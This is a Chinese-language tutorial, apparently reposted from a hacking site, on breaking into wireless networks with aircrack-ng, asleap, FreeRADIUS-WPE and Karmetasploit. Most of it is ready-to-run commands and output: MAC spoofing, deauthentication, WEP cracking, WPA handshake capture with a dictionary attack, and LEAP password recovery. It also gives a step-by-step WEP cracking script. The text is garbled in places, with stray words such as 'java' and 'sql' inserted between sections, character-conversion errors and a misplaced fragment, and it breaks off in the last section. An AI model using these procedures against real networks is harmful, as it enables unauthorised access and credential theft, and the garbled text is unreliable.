無線網絡滲透之旅

http://www.myhack58.com/Article/html/3/8/2010/26313.htmphp

[0x00] - 簡介
[0x01] - 無線網絡安全 
[0x02] - 突破簡單防護
 
[0x02a] - 繞過 MAC 過濾
[0x02b] - 發覺隱藏的 SSID 
[0x02c] - 嗅探空中信息
 
[0x03] - 破解工具
 
[0x03a] - Aircrack-ng 套件
[0x03b] - 使用 airdecap-ng 解密數據包 
[0x03c] - 使用 airdecloak-ng 假裝數據包 
[0x03d] - 空中破解 101 
 
[0x04] - 擁有 WEP 密鑰的簡單技術(非注入)
 
[0x04a] - 捕捉方法
[0x04b] - 破解方法
 
[0x05] - 擁有 WEP 密鑰的先進技術(注入方法)html


 
 
 
[0x05a] - 監聽模式
[0x05b] - 欺騙認證
[0x05c] - ARP 重播攻擊 
[0x05d] - 分裂攻擊
[0x05e] - Korek ChopChop 攻擊 
[0x05f] - 數據包僞造
[0x05g] - 交互式 ARP 重播攻擊 
[0x05h] - 破解 WEP 密鑰
 
[0x06] - 破解 WEP 的總結腳本
 
[0x07] - 擁有 WPA-PSK/WPA2-PSK 密鑰
[0x08] - 無線網企業漏洞利用(WPA-TLS/TTLS/PEAP) 
[0x09] - CISCO LEAP 漏洞利用
[0x10] - Karmetasploit 大規模利用 
[0x11] - 旅程的尾聲
 
 
 
[0x00] - 簡介
 
我曾經在博客內寫過了關於無線網駕車做戰的技術信息。在本文將詳細介紹實用的 HACK 技術來打破無線安全。建議讀者應具有無線網基礎知識及無線操做。
本文包含 12 個章節,但實際內容是在 10 個章節中,從 0x02 到 0x10。在 0x02 中,咱們討論無線網絡的基本攻 
擊。章節 0x03 的內容是有關使用的工具。在第 0x0四、0x05 和 0x06 章節中,咱們提供信息以破解 WEP。章節 0x0七、 
0x08 和 0x09 是破解 WPA 和 WPA2 的細節。章節 0x10 是關於 Metasploit 在使用無線網絡經過 Rogue AP 的細節。
 
 
 
[0x01] - 無線網絡安全
 
相對於有線網絡,無線網絡有嚴重的缺點,由於它使用天空做爲媒介。所以,黑客有能力經過中間人或其餘方法進行攻擊。
 
所以,無線的安全問題直至如今都十分關注,按照無線網絡的安全標準可劃分爲:
 
- WEP 
- WPA-PSK 
- WPA2-PSK 
- WPA-802.1x 
- WPA2-802.1xjava


 
WEP 是原始安全標準的無線網絡,但它很容易破解。WPA 和 WPA2 是主動提供無線安全,解決安全漏洞的 WEP。WPA 和 WPA2 仍劃分共享密鑰和 802.1x,用於我的和企業。除了這些標準外,還有其餘的機制,以增強無線安全,如隱藏的 SSID、MAC 過濾。咱們將在此文檔中談論 Hack 這些安全標準機制,也提供其餘攻擊方法。
 
 
 
[0x02] - 突破簡單防護
 
 
 
 
[0x02a] - 繞過 Mac 過濾
 
 
在接入點中存儲合法的客戶端 MAC 地址是一個基本的安全機制。當有認證請求接入點,接入點將進行比較 MAC 地址貯存器中的 MAC 地址請求。若是結果是匹配的,將驗證成功,不然失敗。然而,這種方法很容易繞過,攻擊者只需改變 MAC 地址的一些命令便可。
咱們有一個案例研究繞過 MAC 過濾攻擊。有一天,咱們爲一家公司作無線網絡滲透測試。首先,咱們使用 kismet 發覺圍繞公司的接入點。這讓咱們知道每個接入點的確切位置。而後,咱們使用 airodump-ng 固定渠道捕捉數據包。airodump-ng 肯定目標渠道能夠提升效率。咱們知道來自 airodump-ng 接入點使用開放式身份驗證,它不使用任何加密。所以,咱們嘗試鏈接到接入點,但拒絕咱們的認證請求。咱們得出這樣的結論:這個網絡使用 MAC 過濾。從 airodump-ng 能夠看到,有客戶交往接入點。咱們當即改變咱們的 MAC 地址,是同樣相關的客戶端並嘗試再次鏈接。在這個時候,一切都很好。咱們能夠鏈接到接入點。此外,咱們可以得到內部網絡並對內部服務器運行任何工具,如 nmap、nessus、exploit。這是很是危險的。
 
 
 
[0x02b] - 發覺隱藏的 SSID 
 
一些環境中,無線管理員配置隱藏的 SSID。所以,攻擊者不能知道網絡 SSID 也沒法鏈接到該網絡。在 airodump 中,它顯示<lenght ?> 哪一個數字是 SSID 長度。
 
只有這樣才能知道會話請求的 SSID 名稱。在這個數據包傳輸時,就會發生一個合法的客戶端鏈接到網絡。
 
咱們可以影響合法客戶端並從新發送驗證數據包鏈接接入點,客戶端經過使用 aireplay-ng。該命令像這樣:
 
#aireplay-ng -0 1 -a xx:xx:xx:xx:xx:xx -c zz:zz:zz:zz:zz:zz rausb0 
21:56:47    Waiting for beacon frame (BSSID: xx:xx:xx:xx:xx:xx) on channel 11 
21:56:47    Sending 64 directed DeAuth. STMAC: [zz:zz:zz:zz:zz:zz] [ 0| 0 ACKs] 
 
發送驗證數據包到客戶端後,客戶端會從新驗證並從新會話。
 
Airodump-ng 能夠檢測這一進程,並知道這個網絡的 SSID。
 
 
 
 
[0x02c] - 嗅探空中信息sql


 
這個主題不使用任何技術或深層知識。許多無線網絡使用非公開驗證加密機制。攻擊者只須要從空中監聽並找到像 http、telnet、ftp etc 會話的可信信息數據包。
 
咱們可以使用 airodump-ng 嗅探出其餘數據。
 
 
 
 
[0x03] - 破解工具
 
 
我建議使用 Aircrack-NG,Aircrack-NG 是一個一次抓獲足夠的數據包進行破解 802.11 WEP 和 WPA-PSK 密鑰。
它實現了標準的 FMS 攻擊和一些最佳化 KoreK 攻擊,以及全新的 PTW 攻擊,從而相比其餘 WEP 破解工具攻擊快得多。事實上,Aircrack-ng 是一套審計無線網絡的工具。
 
 
 
[0x03a] - Aircrack-ng 套件
 
 
在本教程,有四個工具在 aircrack-ng 套件中發揮着重要做用。
 
- airodump-ng: 用於捕捉數據包
使用 airodump-ng 首先每次打開監聽模式,這使咱們的網卡在首選的渠道具備註入能力。- aireplay-ng: 用於注入
o de-authentication: 用於發送驗證數據包到客戶端o fake authentication: 用於執行僞造進程
o interactive packet replay: 用於選擇首選的數據包進行重播攻擊o arp replay: 用於執行 ARP 協議自動重播攻擊
o Korek chopchop: 使用 Chopchop 技術生成密鑰o fragment: 使用片斷技術生成密鑰
- packetforge-ng: 用於建立數據包 
- aircrack-ng: 用於恢復密鑰
 
更多詳情:http://aircrack-ng.org/doku.php#aircrack-ng_suite1 
 
 
 
 
[0x03b] - 使用 airdecap-ng 解密數據包
 
 
以後,咱們獲得 WEP 或 WPA 密鑰,有時候咱們要破譯捕獲的數據包。Aircrack 團隊已經提供給咱們工具。它是「airdecap-ng」。例子中的使用過程像這樣:
#airdecap-ng -b xx:xx:xx:xx:xx:xx workshop-01.cap 或 #airdecap-ng -e Workshop workshop-02.cap 
 
主意:對於 WPA,airdecap-ng 只有文件包含四次握手才能返回成功的結果。shell


 
 
 
[0x03c] - 使用 airdecloak-ng 假裝數據包
 
 
假裝是一種擾亂破壞 WEP 密鑰進程的技術。這種技術是經過加密的隨機 WEP 密鑰的網絡注入數據包,這些數據包成爲「chaff」。若是攻擊者捕獲這些數據包並進行破解破解,返回的結果是錯誤的或其餘的結果。然而,aircrack 團隊開發了一個工具來處理此技術,它被稱爲「airdecloak-ng」。
 
#airdecloak-ng --bssid xx:xx:xx:xx:xx:xx -i workshop-01.cap 
 
此命令返回兩個文件:
- workshop-01-filtered.cap: 來自包含過濾包的特定接入點
- workshop-01-cloaked.cap: 來自包含加密數據包的特定接入點
 
 
 
 
[0x03d] - 空中破解 101 
 
 
PTW 攻擊 (-z) 
(aircrack-ng -z capture.cap), 只有 WEP 64/128 位工做,須要 ARP 請求/重播數據包,你必須從 airodump-ng 轉儲全部數據包。
 
字典攻擊 Attack (WPA/WPA2 語法) 
(aircrack-ng -w pass.lst *.cap) 
 
修改攻擊 (-f) 
一旦達到 2 millions IVs, 嘗試修改「-f 4」。重試,每次增長 4。** 與此同時,不斷收集數據。
 
 
 
 
[0x04] - 擁有 WEP 密鑰的簡單技術(非注入)
 
 
有幾種方法法破解 WEP 密鑰。
首先,咱們應該準備支持監聽模式的設備,能夠注入到網絡的數據包。以後,咱們準備破解工具,我選擇使用 aircrack-ng 
其主要思想是,收集大量加密的數據包,而後咱們可使用這些包破解 WEP 密鑰。所以,有兩種狀況:
1. 該網絡是高流量
2. 該網絡是低流量
 
有什麼不一樣呢?
固然,第一種狀況下,咱們只使用 airodump 收集的數據包和破解的密鑰,但第二種狀況下,咱們要注入的數據包,以獲取更多的數據包。咱們爲你介紹第一種,捕獲和破解方法。而後咱們談論注入方法,只能使用於較弱的交換網絡。windows


 
 
 
[0x04a] - 捕捉方法
首先,收集數據包。64 位的 WEP 密鑰,咱們使用約 50000 個數據包和約 150,000 個 128 位的 WEP 密鑰數據包。收集數據包的命令是
 
#airodump-ng -w workshop rausb0 
 
 
[ CH 11 ][ Elapsed: 16 mins ][ 2009-02-23 21:21 ][ Decloak: xx:xx:xx:xx:xx:xx 
 
BSSID                                PWR RXQ    Beacons        #Data, #/s    CH    MB    ENC    CIPHER AUTH ESSID
 
xx:xx:xx:xx:xx:xx                     77     94          10905           11054           0     11     54. WEP    WEP       OPN    Workshop
 
BSSID                                STATION                           PWR      Rate    Lost    Packets    Probes
 
xx:xx:xx:xx:xx:xx    yy:yy:yy:yy:yy:yy                                  85     54-54              0           7747
 
 
咱們之後破解密鑰會用到這個 「workshop-01.cap」 文件。
 
咱們能夠在數據字段中肯定有多少個數據包,大約 90%的數據包中的數據顯示領域是咱們須要的 IV 數據包。
 
 
 
 
[0x04b] - 破解方法
在咱們收集足夠的加密數據包以後,咱們使用 aircrack-ng 恢復密鑰。#aircrack-ng -b xx:xx:xx:xx:xx:xx workshop-01.cap 
-b xx:xx:xx:xx:xx:xx 目標接入點 MAC 地址 
成功破解的結果以下所示所示:
 
 
Opening workshop-01.cap 
Attack will be restarted every 5000 captured ivs. Starting PTW attack with 50417 ivs. 
KEY FOUND! [ 00:11:22:33:44 ] 
Decrypted correctly: 100%瀏覽器


 
 
 
[0x05] - 擁有 WEP 密鑰的先進技術(注入方法)
 
這種方法沒有必要在高流量的網絡,但它是很是重要的低交換網絡。咱們必須注入數據包到接入點中,以產生新的數據包返回到客戶端。
若是咱們仔細考慮上面的方法,源 MAC 地址必須是相關聯的,必需的數據包發送到用戶端的接入點而且數據包必會引發接入點產生反應或其餘包;一般咱們應該針對 MAC 地址播送數據包。
 
咱們能夠得出選擇數據包注入的必要條件的結論以下所示:
 
- MAC 地址關聯到接入點 (能夠經過假裝身份驗證作到這一點)- 發送到用戶端的接入點 (「To DS」標記設置爲 1) 
- 目標 MAC 地址是廣播 (FF:FF:FF:FF:FF:FF)
 
數據包使用於全部要求 ARP 請求的廣播。在 aircrack-ng 中,有 aireplay-ng 有一個選項,執行 ARP 重播攻擊。此次攻擊是爲了捕捉 ARP 請求,而後重放它的接入點,以建立新的數據包。可是,若是在那個時候該網絡沒有 ARP 請求廣播。如今,咱們能夠劃分注入技術的 2 個場景。
 
- 網絡有 ARP 請求。
- 網絡沒有 ARP 請求。
不管哪一種狀況下,咱們必須執行注入相關 MAC 地址。如今,咱們有兩個選擇。第一是改變咱們的 MAC 地址,第二是作欺騙認證。
 
 
 
[0x05a] - 監聽模式
使用 airmon-ng 設置您的 wifi 監聽模式,並準備注入數據包。#airmon-ng start wlan0 11 
 
設置 wlan0 監聽模式信道 11,咱們必須指定相同的信道爲目標 AP 信道。
 
 
 
 
[0x05b] - 欺騙認證
 
 
咱們能夠作的欺騙認證命令以下所示所示:
 
#aireplay-ng -1 0 -a xx:xx:xx:xx:xx:xx -h yy:yy:yy:yy:yy:yy rausb0 
 
-a xx:xx:xx:xx:xx:xx 接入點 MAC 地址
-h yy:yy:yy:yy:yy:yy 無線網卡 MAC 地址
 
若是咱們成功得到結果,咱們的 MAC 地址將聯繫特定的接入點。安全


 
 
 
成功的結果以下所示:
 
00:00:00    Sending Authentication Request 
00:00:00    Authentication successful 
00:00:00    Sending Association Request 
00:00:00    Association successful :-) 
 
 
欺騙認證成功後,咱們必須肯定哪一種類型的網絡,咱們正面臨着選擇適當的步驟來處理。
 
 
 
 
[0x05c] - ARP 重播攻擊
 
 
咱們可使用 ARP 重播攻擊的命令以下所示:
 
#aireplay-ng -3 -b xx:xx:xx:xx:xx:xx -h yy:yy:yy:yy:yy:yy rausb0 
 
-b xx:xx:xx:xx:xx:xx 接入點 MAC 地址
-h yy:yy:yy:yy:yy:yy 咱們的無線網卡 MAC 地址
Aireplay-ng 可偵測 ARP 請求,並用它來自動進行重播攻擊。發現的 ARP 請求,信息以下所示:
21:06:20    Waiting for beacon frame (BSSID: xx:xx:xx:xx:xx:xx) on channel 11 Saving ARP requests in replay_arp-0223-210620.cap 
You should also start airodump-ng to capture replies. 
Read 1379 packets (got 30 ARP requests and 0 ACKs), sent 3468 packets...(499 pps) 
 
** 在某些狀況下,沒有任何由 ARP 請求播出的接入點。因此,咱們不能正常使用 ARP 重播攻擊。
 
咱們必須從生成密鑰流捕獲的數據包,並使用密鑰流僞造 ARP 請求數據包,而後重放,以接入點建立新的數據包。有兩種方法用於生成密鑰流,分爲「chopchop 攻擊」和「碎片攻擊」。
 
這兩種方法能夠用 aireplay-ng 執行。
 
 
 
 
[0x05d] - 分裂攻擊
 
碎片攻擊是用來生成大小爲 1500 字節的密鑰流。所以,咱們可使用這個密鑰流建立一個數據包,它的大小可達到 1500 字節。該碎片攻擊命令爲:
 
#aireplay-ng -5 -b xx:xx:xx:xx:xx:xx -h yy:yy:yy:yy:yy:yy rausb0服務器


 
 
該系統的響應結果以下所示:
 
21:21:07    Waiting for beacon frame (BSSID: 00:1B:2F:3D:CB:D6) on channel 11 21:21:07    Waiting for a data packet... 
 
 
Size: 90, FromDS: 1, ToDS: 0 (WEP) 
 
BSSID     =   00:1B:2F:3D:CB:D6
Dest. MAC       =   00:1A:73:37:E2:A3
Source MAC      =   00:1B:2F:3D:CB:D6
 
0x0000:   8842 2c00 001a 7337 e2a3 001b 2f3d cbd6                   .B,...s7..../=..
0x0010:   001b 2f3d cbd6 20df 0000 b168 ff00 2872       ../=.. ....h..(r
0x0020:   7547 d03f 70d7 2d29 1397 7d3d ac16 382a    uG.?p.-)..}=..8*
0x0030:    f20f 77fb ca63 13e0 f7a6 9228 ddc0 8263 ..w..c.....(...c
0x0040:   5315 a328 87cb 0d4a b36a e5be 93c7 307a    S..(...J.j....0z
0x0050:   7bc2 18d7 2df5 94f2 5aed                      {...-...Z.
 
Use this packet ? 
 
 
咱們必須迴應「y」。
 
 
Use this packet ? y 
 
 
成功過程以下所示:
Saving chosen packet in replay_src-0223-212107.cap Data packet found! 
Sending fragmented packet 
Got RELAYED packet!! 
Thats our ARP packet! 
Trying to get 384 bytes of a keystream 
Got RELAYED packet!! 
Thats our ARP packet! 
Trying to get 1500 bytes of a keystream 
Got RELAYED packet!! 
Thats our ARP packet! 
Saving keystream in fragment-0223-212107.xor 
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream網絡


 
 
 
[0x05e] - Korek ChopChop 攻擊
 
有一個傢伙 KoreK 開發了一個棘手的攻擊方法,稱爲 ChopChop。它要求只有一個加密的數據包用來解密獲取的密鑰流,而後使用密鑰流生成 ARP 請求數據包,並最終執行 ARP 協議重播攻擊。
咱們使用 ChopChop 攻擊,能夠鍵入以下所示命令:
#aireplay-ng -4 -b xx:xx:xx:xx:xx:xx -h yy:yy:yy:yy:yy:yy rausb0 Aireplay-ng 將挑選一個數據包進行解密。
 
響應以下所示:
 
21:12:42    Waiting for beacon frame (BSSID: 00:1B:2F:3D:CB:D6) on channel 11 
 
 
Size: 90, FromDS: 1, ToDS: 0 (WEP) 
 
BSSID     =   00:1B:2F:3D:CB:D6
Dest. MAC       =   00:1A:73:37:E2:A3
Source MAC      =   00:1B:2F:3D:CB:D6
 
0x0000:   8842 2c00 001a 7337 e2a3 001b 2f3d cbd6                   .B,...s7..../=..
0x0010:   001b 2f3d cbd6 6084 0000 55bc e600 2e4e                   ../=..`...U....N
0x0020:    a334 a2b3 fc4c fe8a 2cf4 f548 0f27 90d0     .4...L..,..H.'..
0x0030:   767d 2725 bedd 62ec 252e 8b4b d2d3 a8a0    v}'%..b.%..K...
0x0040:    bb3f 4874 c821 c402 467d f70f 2a56 43a7   .?Ht.!..F}..*VC.
0x0050:    b09b f0f1 8b04 fc1c 0b72.............................. ...r
 
Use this packet ? 
 
 
咱們仍然鍵入「y」。
 
 
Use this packet ? y 
 
 
而後系統進行解密。
 
Saving chosen packet in replay_src-0223-211242.cap


Offset       87 ( 3% done) | xor = 4E | pt = 3C |
Offset       86 ( 5% done) | xor = 16 | pt = 1D |
Offset       85 ( 7% done) | xor = 63 | pt = 7F |
Offset       84 ( 8% done) | xor = 97 | pt = 6B |
Offset       83 (10% done) | xor = 0E | pt = 0A |
Offset       82 (12% done) | xor = 86 | pt = 0D |


64 frames written in 1097ms
119 frames written in 2029ms
146 frames written in 2476ms
239 frames written in 4068ms
228 frames written in 3865ms
273 frames written in 4646ms


 
 
Offset       81 (14%    done) |   xor = C9 | pt    = 38 |      2 frames written     in        35ms
Offset       80 (16%    done) |   xor = C4 | pt    = 34 |   185    frames written     in    3145ms
Offset       79 (17%    done) |   xor = BB | pt    = 20 |   250    frames written     in    4253ms
Offset       78 (19%    done) |   xor = F7   | pt    = 47   |      97   frames written     in    1649ms
Offset       77 (21%    done) |   xor = E9 | pt    = 4E | 247    frames written     in    4196ms
Offset       76 (23%    done) |   xor = 12   | pt    = 51 |   237    frames written     in    4029ms
Offset       75 (25%    done) |   xor = 56   | pt    = 00   |      52   frames written     in      884ms
Offset       74 (26%    done) |   xor = 2A | pt    = 00 |   431    frames written     in    7326ms
Offset       73 (28%    done) |   xor = 7E | pt    = 71 |   232    frames written     in    3946ms
Offset       72 (30%    done) |   xor = 1C | pt    = EB | 123    frames written     in    2093ms
Offset       71 (32%    done) |   xor = B6 | pt    = CB |     9 frames written     in      141ms
Offset       70 (33%    done) |   xor = BC    | pt    = FA | 256    frames written     in    4365ms
Offset       69 (35%    done) |   xor = 1A | pt    = 18 |   179    frames written     in    3041ms
Offset       68 (37%    done) |   xor = 94   | pt    = 50 |   118    frames written     in    2002ms
Offset       67 (39%    done) |   xor = 50   | pt    = 71 |    65   frames written     in    1109ms
Offset       66 (41%    done) |   xor = 9D | pt    = 55 |   172    frames written     in    2921ms
Offset       65 (42%    done) |   xor = 3C | pt    = 48   |    196    frames written     in    3338ms
Offset       64 (44%    done) |   xor = BE | pt    = F6 | 281    frames written     in    4763ms
Offset       63 (46%    done) |   xor = 81   | pt    = BE |   61   frames written     in    1051ms
Offset       62 (48%    done) |   xor = AC    | pt    = 17   |    456    frames written     in    7748ms
Offset       61 (50%    done) |   xor = D2 | pt    = 72 |    73   frames written     in    1231ms
Offset       60 (51%    done) |   xor = 9C | pt    = 34 |   428    frames written     in    7288ms
Offset       59 (53%    done) |   xor = 64   | pt    = B7 | 120    frames written     in    2036ms
Offset       58 (55%    done) |   xor = 87   | pt    = 55 |   188    frames written     in    3200ms
Offset       57 (57%    done) |   xor = 0C | pt    = 47 |   119    frames written     in    2024ms
Offset       56 (58%    done) |   xor = 8C | pt    = 07 |   124    frames written     in    2095ms
Offset       55 (60%    done) |   xor = 2C   | pt    = 02   |    364    frames written     in    6197ms
Offset       54 (62%    done) |   xor = 25   | pt    = 00 |   136    frames written     in    2315ms
Offset       53 (64%    done) |   xor = 44   | pt    = A8 | 142    frames written     in    2410ms
Offset       52 (66%    done) |   xor = A2 | pt    = C0   |    102    frames written     in    1733ms
Offset       51 (67%    done) |   xor = C9 | pt    = 14 |    19   frames written     in      329ms
Offset       50 (69%    done) |   xor = D5 | pt    = 6B | 183    frames written     in    3110ms
Offset       49 (71%    done) |   xor = 0B | pt    = 2E |    62   frames written     in    1048ms
Offset       48 (73%    done) |   xor = E8 | pt    = CF |   18   frames written     in      306ms
Offset       47 (75%    done) |   xor = FB | pt    = 86 |    29   frames written     in      496ms
Offset       46 (76%    done) |   xor = 4B | pt    = 3D | 100    frames written     in    1702ms
Offset       45 (78%    done) |   xor = D6 | pt    = 06 |    77   frames written     in    1312ms
Offset       44 (80%    done) |   xor = FD   | pt    = 6D | 226    frames written     in    3828ms
Offset       43 (82%    done) |   xor = 27   | pt    = 00 |   117    frames written     in    2001ms
Offset       42 (83%    done) |   xor = 4F   | pt    = 40   |      38   frames written     in      641ms
Offset       41 (85%    done) |   xor = 1C | pt    = 54 |   354    frames written     in    6020ms
Offset       40 (87%    done) |   xor = 20   | pt    = D5 | 277    frames written     in    4714ms
Offset       39 (89%    done) |   xor = C4 | pt    = 30   |    113    frames written     in    1918ms
Offset       38 (91%    done) |   xor = 2C | pt    = 00 |   485    frames written     in    8244ms
Offset       37 (92%    done) |   xor = 8A | pt    = 00 |   231    frames written     in    3933ms
 
The AP appears to drop packets shorter than 37 bytes. 
Enabling standard workaround:    IP header re-creation.


 
 
This doesn't look like an IP packet, try another one. 
 
Warning: ICV checksum verification FAILED! Trying workaround. 
The AP appears to drop packets shorter than 40 bytes. 
Enabling standard workaround:    IP header re-creation. 
 
Saving plaintext in replay_dec-0223-211410.cap 
Saving keystream in replay_dec-0223-211410.xor 
 
Completed in 21s (2.48 bytes/s) 
 
這一過程由 xor 文件和 cap 文件產生。xor 文件包含密鑰流;cap 文件包含解密數據包。
 
 
 
 
[0x05f] - 數據包僞造
 
 
建立加密的數據包形式 PRGA(XOR)從 ChopChop 或碎片獲得。


#Packetforge-ng -0      - a xx:xx:xx:xx:xx:xx - h yy:yy:yy:yy:yy:yy - k
255.255.255.255 -y replay_dec-0223-211410.xor -w arp
 
其結果是:
 
Wrote packet t arp
 
 
從這個命令中,咱們獲得 ARP 請求數據包中的文件名爲「arp」。
 
 
 
 
[0x05g] - 交互式 ARP 重播攻擊
 
 
咱們使用 aireplay 注入 ARP 請求數據包到接入點。經過輸入下面的命令。
 
#aireplay-ng -2 -r arp rausb0
 
響應將以下所示所示:
 
Size: 68, FromDS: 0, ToDS: 1 (WEP)
 
BSSID     =     00:1B:2F:3D:CB:D6
Dest. MAC       =    FF:FF:FF:FF:FF:FF
Source MAC      =     00:21:27:C0:07:71
 
0x0000: 0841 0201 001b 2f3d cbd6 0021 27c0 0771 .A..../=...!'..q


255.255.255.255 - l


 
 
0x0010:    ffff ffff ffff 8001 55bc e600 2e4e a334........... ..U....N.4
0x0020:    a2b3 fc4a bb8b 24c4 2618 4f26 fdf7 6c3b ...J..$.&.O&..l;
0x0030:    ef7a 2a36 5dbb 252c 8c0c 8764 632d 537e          .z*6].%,...dc-S~
0x0040:   66bf 700e                                                   f.p.
 
Use this packet ? 
 
 
咱們迴應「y」。
 
Use this packet ? y 
 
aireplay-ng 開始注入數據包。
 
 
Saving chosen packet in replay_src-0223-211755.cap 
You should also start airodump-ng to capture replies. 
 
Sent 1200 packets...(499 pps) 
 
 
 
 
 
[0x05h] - 破解 WEP 密鑰
在咱們收集足夠的加密包以後,咱們使用 aircrack-ng 來恢復密鑰。 
       #aircrack-ng -z capture1.cap (PTW Attack) 
 
成功地破解結果以下所示:
 
Opening capture1.cap 
Attack will be restarted every 5000 captured ivs. Starting PTW attack with 50417 ivs. 
KEY FOUND! [ 00:11:22:33:44 ] 
Decrypted correctly: 100% 
 
 
 
 
 
[0x06] - 破解 WEP 的總結腳本
 
 
Note: $AP 是接入點的 MAC 地址
$WIFI 是 WIFI 網卡的 MAC 地址
- airmon-ng start wlan0 11 (監控模式必須肯定具體頻道)- airodump-ng -c 11 -w capture1.cap wlan0


 
- aireplay-ng -1 0 -e linksys -a $AP -h $WIFI wlan0 - aireplay-ng -4 -b $AP -h $WIFI wlan0 
If Not Work!! Try #aireplay-ng -5 -b $AP -h $WIFI wlan0 
- packetforge-ng -0 -a $AP -h $WIFI -k 255.255.255.0 -l 255.255.255.0 -y replay_dec-03.xor -w arp-request 
- aireplay-ng -2 -r arp-request wlan0 
- aircrack-ng -z capture1.cap 
 
** 這些方法可用於客戶端的 WEP 破解。
 
 
 
 
[0x07] - 擁有 WPA-PSK/WPA2-PSK 密鑰
 
 
PSK 表明 Pre-Shared 密鑰。這些機制的改善從而解決了 WEP 的脆弱性。
所以,它可以使用相同的破解 WEP 方式來破解密鑰。只有這樣,才能恢復 WPA-PSK 或 WPA2-PSK,也就是說獲取4 次握手並利用字典攻擊的破解。
這個主意破解 Pre-shared 密鑰是收集四次握手包。咱們可以作到這一點,去驗證相關的客戶端。這種方式將迫使客戶端進行從新驗證,咱們能夠在這個進程中進行四次握手。驗證命令以下所示:#aireplay-ng -0 1 -a xx:xx:xx:xx:xx:xx -c zz:zz:zz:zz:zz:zz rausb0 
21:56:47    Waiting for beacon frame (BSSID: xx:xx:xx:xx:xx:xx) on channel 11 
21:56:47    Sending 64 directed DeAuth. STMAC: [zz:zz:zz:zz:zz:zz] [ 0| 0 ACKs] 
我猜測咱們獲取了這一進程 workshop.cap 文件。因此,咱們使用 aircrack 進行破解。#aircrack-ng -w wordlist --bssid xx:xx:xx:xx:xx:xx workshop-02.cap 
成功的結果以下所示:
 
Opening test-02.cap 
Read 252 packets. 
 
#    BSSID                   ESSID                                 Encryption
 
1    xx:xx:xx:xx:xx:xx    Workshop                          WPA (1 handshake)
 
Choosing first network as target. 
 
Opening workshop-02.cap 
Reading packets, please wait...


 
 
Aircrack-ng 1.0 rc1 r1085 
 
 
[00:00:00] 0 keys tested (0.00 k/s) 
 
 
KEY FOUND! [ TheFuckinWPAKey ] 
 
 
Master Key            : 3C 57 0F 3A 55 E5 C5 27 8E 93 02 F2 F9 21 2C D4 
E2 48 6C DF 59 8D 19 19 B5 F2 80 BE 81 15 10 63 
 
Transcient Key : E3 91 AD 02 78 A5 51 DE 2A AE 15 25 DB 9B 4A F6 
61 A7 42 D8 32 9B 48 37 01 80 0B A7 83 F9 67 B2 
9B FE 47 EA 0A B8 E0 2D E0 81 6E BB 48 1F AA 86 
2A 7E B0 F7 BE C8 2B 8F 14 DF AB 6F 58 28 8E E1 
 
EAPOL HMAC              : EC 94 29 B7 1F 1F 8E F7 25 78 E9 E1 C6 4E 51 3D 
 
 
從這個結果中能夠看出,它意味着 WPA-PSK/WPA2-PSK 密鑰是「TheFuckinWPAKey」。
 
 
 
 
[0x08] - 無線網企業漏洞利用 (WPA-TLS/TTLS/PEAP) 
 
大多數公司轉向使用公共密鑰加密的無線網絡,他們認爲這是絕對安全的。可是,狡猾的攻擊者攻擊這一系統仍然是由欺騙證書。
這種攻擊方法是一種利用客戶端信息。許多客戶端接受認證而不考慮它是不是真正的證書或沒有證書。這使攻擊者冒充本身是 RADIUS 服務器和 Loggin 憑證資料的受害者。
咱們可使用 Freeradius 假裝 Radius 服務器與 WPE 補丁結合,使 Loggin 憑證資料到 Freeradius 服務器。附加說明:http://www.willhackforsushi.com/FreeRADIUS_WPE.html 
 
 
 
[0x09] - CISCO LEAP 漏洞利用
 
Cisco 專有輕量級擴展身份驗證協議(LEAP)無線認證過程有助於消除安全漏洞,基於用戶的認證,並可以產生動態的 WEP 密鑰。Cisco LEAP 是一個所指定的 802.1X 可擴展身份驗證協議(EAP)類型。
 
LEAP 是易於執行和控制的特性,如:
- 相互身份驗證
- 基於用戶驗證 
- 動態 WEP 密鑰

本文轉載自:神祕小強' blog QQ交流羣:29097418


咱們發現用戶名是以明文發送到 Radius,但捕獲的 Wireshark 密碼是加密的,所以,一樣容易進行漏洞利用。asleap 是一個工具,用來恢復脆弱的 LEAP 和 PPTP 密碼,asleap 能夠執行:
 
- 脆弱的 LEAP 和 PPTP 密碼恢復
- Deauthentication 客戶端的 WLAN(加快 LEAP 密碼恢復)AIRJACK 驅動程序
 
下載 Asleap http://asleap.sourceforge.net/ 
 
第一步,使用 asleap 創建必需的資料庫(.dat)和索引文件(.idx)
 
#./genkeys    -r    dict -f    dict.dat    -n    dict.idx
 
dict = Our wordlist/dictionary file, with one word per line 
dict.dat = Our new output pass+hash file (generated as a result of running this command) 
dict.idx = Our new output index filename (generated as a result of running this command) 
 
#./genkeys -r dictionary -f dict.dat -n dict.idx 
 
genkeys 1.4 - generates lookup file for asleap. <jwright@hasborg.com> Generating hashes for passwords (this may take some time) ...Done. 3 hashes written in 0.2 seconds: 122.67 hashes/second 
Starting sort (be patient) ...Done. 
Completed sort in 0 compares. 
Creating index file (almost finished) ...Done. 
 
 
最後一個步驟是恢復薄弱的 LEAP 密碼,運行 asleap 命令建立新的.dat 和.idx 文件:
 
#./asleap     -r    data/leap.dump -f    dict.dat    -n    dict.idx
leap.dump = Our libpcap packet capture file (NOTE: Any libpcap (e.g. tcpdump, Wireshark) or AiroPeek capture file (.apc) can be used) 
dict.dat = Our output pass+hash file (generated with genkeys, see above) 
dict.idx = Our new output index filename (generated with genkeys, see above) 
 
#./asleap -r data/leap.dump -f dict.dat -n dict.idx 
 
 
asleap 1.4 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com> Using the passive attack method. 
Captured LEAP exchange information: 
       username:    qa_leap 
challenge:     0786aea0215bc30a
response:      7f6a14f11eeb980fda11bf83a142a8744f00683ad5bc5cb6
hash bytes: 4a39


 
 
NT hash:     a1fc198bdbf5833a56fb40cdd1a64a39
password:    qaleap 
Closing pcap ... 
 
 
注意:成功率取決於字典大小
 
如今 ASLEAP 2.2,包含「-C」和「-R」選項來指定十六進制分割字節的挑戰與對策。使用此選項,Asleap 成爲一個通用的 MS-CHAPv2 破解工具。
 
 
 
 
 
[0x10] - Karmetasploit 大規模利用
 
 
HD Moore 發佈了一些說明信息(http://trac.metasploit.com/wiki/Karmetasploit)得到 karmetasploit 工做的框架。
 
Karmetasploit 能夠發送假裝 AP 並與客戶端鏈接。攻擊者能夠記錄 Cookie、Ftp、Http、認證信息等等。還能夠在客戶端機器利用瀏覽器漏洞。
 
這種方法測試在 Backtrack3(最終)
 http://www.smxiaoqiang.cn/
1. 更新 Aircrack-NG 
